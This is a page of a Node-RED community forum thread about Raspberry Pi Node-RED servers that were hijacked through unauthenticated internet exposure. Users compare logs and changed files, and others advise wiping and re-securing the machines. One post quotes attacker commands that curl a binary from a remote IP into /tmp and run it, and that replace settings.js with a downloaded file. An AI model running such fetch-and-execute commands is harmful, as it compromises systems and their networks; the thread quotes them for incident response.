# Dashboard suddenly asks for password (Hacked Node-RED servers)

**URL:** <https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083>\
**Category:** General\
**Tags:** security\
**Created:** [15 October 2022 19:11 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083 "2022-10-15T19:11:52Z")\
**Posts on this page:** 20\
**Page:** 2

<div class="post-metadata">

**Author:** ![Colin](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/colin/32/17040_2.png) [@Colin](https://discourse.nodered.org/u/Colin)\
**Post date:** [16 October 2022 20:30 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/21 "2022-10-16T20:30:48Z")

</div>

> [@Mastrond](#):
>
> I tried to comment them out but get errors when I do.

Show us how you have commented it out and what the error is.

---

<div class="post-metadata">

**Author:** ![Colin](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/colin/32/17040_2.png) [@Colin](https://discourse.nodered.org/u/Colin)\
**Post date:** [16 October 2022 20:31 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/22 "2022-10-16T20:31:44Z")

</div>

> [@Mastrond](#):
>
> Yes it must of been accessed today.

Have a look in /var/log/syslog and see if anything is logged there at 12:45

---

<div class="post-metadata">

**Author:** ![Colin](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/colin/32/17040_2.png) [@Colin](https://discourse.nodered.org/u/Colin)\
**Post date:** [16 October 2022 20:52 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/23 "2022-10-16T20:52:39Z")

</div>

> [@Mastrond](#):
>
> Yes pi was directly accessible over the internet.

Do you mean it was accessible without any protection? If so then almost certainly you have been hacked.

---

<div class="post-metadata">

**Author:** ![DidierWindey](https://avatars.discourse-cdn.com/v4/letter/d/b9e5f3/32.png) [@DidierWindey](https://discourse.nodered.org/u/DidierWindey)\
**Post date:** [16 October 2022 21:03 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/24 "2022-10-16T21:03:57Z")

</div>

could this have to do with it ?  
these files were last changed at the time the problem appeard.  
 ![image](https://us1.discourse-cdn.com/flex026/uploads/nodered/original/3X/0/3/0384fcd42df6914f4daab69d3a25f816aad0279a.png)

---

<div class="post-metadata">

**Author:** ![zenofmud](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/zenofmud/32/316_2.png) [@zenofmud](https://discourse.nodered.org/u/zenofmud)\
**Post date:** [16 October 2022 21:44 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/25 "2022-10-16T21:44:25Z")

</div>

Check out the post above by @bakman2. You have most likely been hacked.

---

<div class="post-metadata">

**Author:** ![Mastrond](https://avatars.discourse-cdn.com/v4/letter/m/df788c/32.png) [@Mastrond](https://discourse.nodered.org/u/Mastrond)\
**Post date:** [16 October 2022 22:19 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/26 "2022-10-16T22:19:14Z")

</div>

Just going back home disabled all port forwards that where enabled on router  
The pi was accessible to the outside world but you do need a password to log into the pi.  
But not to access nodered.  
I will check the logs in a few.

---

<div class="post-metadata">

**Author:** ![Mastrond](https://avatars.discourse-cdn.com/v4/letter/m/df788c/32.png) [@Mastrond](https://discourse.nodered.org/u/Mastrond)\
**Post date:** [16 October 2022 22:44 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/27 "2022-10-16T22:44:18Z")

</div>

> [@Colin](#):
>
> /var/log/syslog

## 16 Oct 18:26:58 - [info] Node-RED version: v2.1.3 16 Oct 18:26:58 - [info] Node.js version: v12.18.0 16 Oct 18:26:58 - [info] Linux 4.19.118-v7l+ arm LE 16 Oct 18:26:59 - [info] Loading palette nodes Missing ENV var CONFIG\_PATH 16 Oct 18:27:01 - [info] Dashboard version 3.1.2 started at /ui 16 Oct 18:27:01 - [info] Settings file : /home/pi/.node-red/settings.js 16 Oct 18:27:01 - [info] Context store : 'default' [module=memory] 16 Oct 18:27:01 - [info] User directory : /home/pi/.node-red 16 Oct 18:27:01 - [warn] Projects disabled : editorTheme.projects.enabled=false 16 Oct 18:27:01 - [info] Flows file : /home/pi/.node-red/flows.json 16 Oct 18:27:01 - [info] Creating new flow file 16 Oct 18:27:01 - [warn]

## Your flow credentials file is encrypted using a system-generated key. If the system-generated key is lost for any reason, your credentials file will not be recoverable, you will have to delete it and re-enter your credentials. You should set your own key using the 'credentialSecret' option in your settings file. Node-RED will then re-encrypt your credentials file using your chosen key the next time you deploy a change.

16 Oct 18:27:01 - [info] Server now running at [http://127.0.0.1:1880/](http://127.0.0.1:1880/)  
16 Oct 18:27:01 - [info] Starting flows  
16 Oct 18:27:01 - [info] Started flows

---

<div class="post-metadata">

**Author:** ![Mastrond](https://avatars.discourse-cdn.com/v4/letter/m/df788c/32.png) [@Mastrond](https://discourse.nodered.org/u/Mastrond)\
**Post date:** [16 October 2022 23:36 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/28 "2022-10-16T23:36:02Z")

</div>

After I commented the stuff out

 ![image](https://us1.discourse-cdn.com/flex026/uploads/nodered/original/3X/7/e/7ea44997c52225f6ef67e8b8b5989d0b54cd05f4.png)

Now here is the log file

pi@raspberrypi:~/.node-red $ node-red-log

16 Oct 18:27:01 - [info] Server now running at [http://127.0.0.1:1880/](http://127.0.0.1:1880/)  
16 Oct 18:27:01 - [info] Starting flows  
16 Oct 18:27:01 - [info] Started flows  
Stopping Node-RED graphical event wiring tool...  
16 Oct 19:29:30 - [info] Stopping flows  
16 Oct 19:29:30 - [info] Stopped flows  
nodered.service: Succeeded.  
Stopped Node-RED graphical event wiring tool.  
Started Node-RED graphical event wiring tool.  
Error loading settings file: /home/pi/.node-red/settings.js  
/home/pi/.node-red/settings.js:92  
},;  
^  
SyntaxError: Unexpected token ';'  
at wrapSafe (internal/modules/cjs/loader.js:1054:16)  
at Module.\_compile (internal/modules/cjs/loader.js:1102:27)  
at Object.Module.\_extensions..js (internal/modules/cjs/loader.js:1158:10)  
at Module.load (internal/modules/cjs/loader.js:986:32)  
at Function.Module.\_load (internal/modules/cjs/loader.js:879:14)  
at Module.require (internal/modules/cjs/loader.js:1026:19)  
at require (internal/modules/cjs/helpers.js:72:18)  
at Object. (/usr/lib/node\_modules/node-red/red.js:136:20)  
at Module.\_compile (internal/modules/cjs/loader.js:1138:30)  
at Object.Module.\_extensions..js (internal/modules/cjs/loader.js:1158:10)  
nodered.service: Succeeded.

Sorry I’m doing this off of my phone taking much longer

---

<div class="post-metadata">

**Author:** ![Colin](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/colin/32/17040_2.png) [@Colin](https://discourse.nodered.org/u/Colin)\
**Post date:** [17 October 2022 08:14 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/29 "2022-10-17T08:14:37Z")

</div>

> [@Mastrond](#):
>
> The pi was accessible to the outside world but you do need a password to log into the pi.  
> But not to access nodered.  
> I will check the logs in a few.

If you didn't need a password to open node-red then I think there is no doubt that you have been hacked. I suggest you erase the SD card and start again. The logs are no longer relevant.

If you have any other machines on the system that were accessible from the pi without entering a password then I think you should think seriously about whether other machines may have also been compromised.

---

<div class="post-metadata">

**Author:** ![DidierWindey](https://avatars.discourse-cdn.com/v4/letter/d/b9e5f3/32.png) [@DidierWindey](https://discourse.nodered.org/u/DidierWindey)\
**Post date:** [17 October 2022 09:48 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/30 "2022-10-17T09:48:03Z")

</div>

Indeed it seems to be.  
When I look into the syslog it all went fast, in about 5 seconds.  
Anyway, I closed all the ports to get access to the system from the internet.  
The node-red json files seem to be OK. I migrated them to another instance of node-red, with an other port.  
I also delete the xterm files in de modules folder. They were installed at the time of the hack.

---

<div class="post-metadata">

**Author:** ![dceejay](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/dceejay/32/38_2.png) [@dceejay](https://discourse.nodered.org/u/dceejay)\
**Post date:** [17 October 2022 10:09 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/31 "2022-10-17T10:09:59Z")

</div>

As others have suggested - at this point I would assume other parts of your machine have been compromised - and that it would be unsafe to continue to use it without completely wiping the SD card and starting again.

---

<div class="post-metadata">

**Author:** ![Steven1](https://avatars.discourse-cdn.com/v4/letter/s/e36b37/32.png) [@Steven1](https://discourse.nodered.org/u/Steven1)\
**Post date:** [17 October 2022 11:30 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/32 "2022-10-17T11:30:38Z")

</div>

Hi all, got same issue yesterday, i checked the Settings.js file and was edited at 23:34  
authentication was uncommented.

when i check the terminal i see three lines i didn't add.

" apt update -y; apt install curl cron nano -y; service cron start; uname -a"  
"cd /tmp; curl -o php [http://XX.XX.XX.XX/a-r.m-6.ISIS](http://XX.XX.XX.XX/a-r.m-6.ISIS); chmod +x php; ./php; rm -rf php"  
"d ~/.node-red; mv settings.js test.js; curl -o settings.js [http://XX.XX.XX.XX/nodered.txt](http://XX.XX.XX.XX/nodered.txt); node-red-restart"

any suggestions what they wanted to do? and how to undo this

---

<div class="post-metadata">

**Author:** ![Mastrond](https://avatars.discourse-cdn.com/v4/letter/m/df788c/32.png) [@Mastrond](https://discourse.nodered.org/u/Mastrond)\
**Post date:** [17 October 2022 12:22 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/33 "2022-10-17T12:22:04Z")

</div>

Thank you all so much I replaced my settings.js file with an instance of node red that was working  
and also deleted the (xterm folders) I see that it added a terminal window in node-red near the drop down where you find Dashboard.  
 ![image](https://us1.discourse-cdn.com/flex026/uploads/nodered/original/3X/7/d/7d239aadf04d45e65314cc26daa85065d3ef0017.png)  
I will now have to secure my node red or setup a vpn and also probably a good idea to wipe and start over.  
Thank all so much again greatly appreciated.

---

<div class="post-metadata">

**Author:** ![jbudd](https://avatars.discourse-cdn.com/v4/letter/j/5f8ce5/32.png) [@jbudd](https://discourse.nodered.org/u/jbudd)\
**Post date:** [17 October 2022 12:49 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/34 "2022-10-17T12:49:59Z")

</div>

> [@Mastrond](#):
>
> also probably a good idea to wipe and start over.

Nice understatement.

@Steven1 has posted evidence of the hack downloading a program from a server in Russia and executing it.  
Whatever that does, it's surely not confined to Node-red.

So if your Node-red machine was attacked and is ARM based it is thoroughly compromised.  
It's a safe bet the attack will have attempted to access other computers on your network.

You could just hope that you don't have ransomware on your devices, and you are not now part of a bot net...

---

<div class="post-metadata">

**Author:** ![pgScorpio](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pgscorpio/32/19675_2.png) [@pgScorpio](https://discourse.nodered.org/u/pgScorpio)\
**Post date:** [17 October 2022 13:55 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/35 "2022-10-17T13:55:07Z")

</div>

Same issue here !

I found the following files changed on oct 16 21:26

.config.json  
settings.js  
package.json  
package-lock.json

node\_modules/  
node-red-contrib-xterm  
npmlog  
number-is-nan  
prebuild-install  
set-blocking  
simple-concat  
simple-get  
string-width  
strip-ansi  
tar-fs  
xterm  
wide-align  
xterm-addon-fit

So:  
I restored .config.json and settings.js from an older backup.  
I deleted the xterm folders from node\_modules  
I removed all xterm lines from package.json and package-lock.json.

And after rebooting my node-red works again.

Still wondering HOW this could happen, since I use non-standard usernames and passwords everywhere and I use personal certificates for SSH.

---

<div class="post-metadata">

**Author:** ![jbudd](https://avatars.discourse-cdn.com/v4/letter/j/5f8ce5/32.png) [@jbudd](https://discourse.nodered.org/u/jbudd)\
**Post date:** [17 October 2022 14:07 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/36 "2022-10-17T14:07:15Z")

</div>

Did you have any ports open to the internet?

---

<div class="post-metadata">

**Author:** ![Steve-Mcl](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/steve-mcl/32/4826_2.png) [@Steve-Mcl](https://discourse.nodered.org/u/Steve-Mcl)\
**Post date:** [17 October 2022 14:18 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/37 "2022-10-17T14:18:57Z")

</div>

> [@pgScorpio](#):
>
> Still wondering HOW this could happen, since I use non-standard usernames and passwords everywhere and I use personal certificates for SSH

- Are you using node-red basic auth?
  - i.e. did your node-red required a username and password BEFORE this happened?

- Do you have firewall rules to restrict access?
- Do you run node-red as `root` or `sudo` or a user with admin/sudo capability?

---

<div class="post-metadata">

**Author:** ![Colin](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/colin/32/17040_2.png) [@Colin](https://discourse.nodered.org/u/Colin)\
**Post date:** [17 October 2022 14:19 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/38 "2022-10-17T14:19:09Z")

</div>

> [@DidierWindey](#):
>
> I migrated them to another instance of node-red, with an other port.

Do you mean you have opened node-red to the internet again, not using https and without setting user and passwords for access, but with a non-standard port? If so then that is not sufficient. Never open your machine via any port unless you are using https with good passwords.

---

<div class="post-metadata">

**Author:** ![pgScorpio](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pgscorpio/32/19675_2.png) [@pgScorpio](https://discourse.nodered.org/u/pgScorpio)\
**Post date:** [17 October 2022 14:22 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/39 "2022-10-17T14:22:00Z")

</div>

> [@jbudd](#):
>
> Did you have any ports open to the internet?

Yeah, but AFAIK those are needed for Node-RED Google Assistant Bridge and Node-RED Smart Home Control.

---

<div class="post-metadata">

**Author:** ![pgScorpio](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pgscorpio/32/19675_2.png) [@pgScorpio](https://discourse.nodered.org/u/pgScorpio)\
**Post date:** [17 October 2022 14:43 UTC](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083/40 "2022-10-17T14:43:00Z")

</div>

> [@Steve-Mcl](#):
>
> - Are you using node-red basic auth?
> - i.e. did your node-red required a username and password BEFORE this happened?

Unfortunately not :=((  
But you can't enter a shell or change the settings/config from the ui isn't it?

> [@Steve-Mcl](#):
>
> - Do you have firewall rules to restrict access?

Yes I use a firewall, but what firewall rules do you mean and restrict on what?

> [@Steve-Mcl](#):
>
> - Do you run node-red as `root` or `sudo` or a user with admin/sudo capability?

runs as "pi", and pi has a non-default password

[Previous page](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083.md?page=1)

[Next page](https://discourse.nodered.org/t/dashboard-suddenly-asks-for-password-hacked-node-red-servers/69083.md?page=3)